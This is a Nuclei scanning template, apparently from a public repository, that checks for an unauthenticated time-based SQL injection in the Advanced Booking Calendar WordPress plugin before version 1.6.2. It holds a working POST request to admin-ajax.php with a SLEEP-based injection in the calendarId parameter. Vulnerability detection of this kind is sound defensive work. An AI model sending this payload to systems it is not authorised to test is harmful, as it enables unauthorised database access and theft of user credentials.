id: advanced-booking-calendar-sqli

info:
  name: Advanced Booking Calendar < 1.6.2 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The AJAX action abc_booking_getBookingResult, available to both authenticated and Unauthenticated users did not sanitise the calendarId parameter which was then concatenated to a SQL statement, leading an unauthenticated SQL injection issue. This could be used to retrieve information from the database, such as users' hashed password, username and email address.
  remediation: Fixed in version 1.6.2
  reference:
    - https://wpscan.com/vulnerability/bac7b590-70de-45b3-bdc2-19f90524ca39
    - https://wordpress.org/plugins/advanced-booking-calendar/
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: time-based-sqli,sqli,wpscan,wordpress,wp-plugin,wp,advanced-booking-calendar,unauthenticated,vuln

http:
  - raw:
      - |
        @timeout: 10s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        calendarId=1)+AND+(SELECT+2065+FROM+(SELECT(SLEEP(6)))jtGw)+AND+(5440=5440&from=2010-05-05&to=2010-05-09&action=abc_booking_getBookingResult

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "abc-result-header")'
        condition: and
# digest: 490a0046304402203db9ea4a41a4789a09b0b3c6dbf841a08ca74a8038b6021c834408b02501f72402201f4248dc9b1766d527ff5d64f4eccfbac976c56dc37586a8a47e55eeb2cfa274:922c64590222798bb761d5b6d8e72950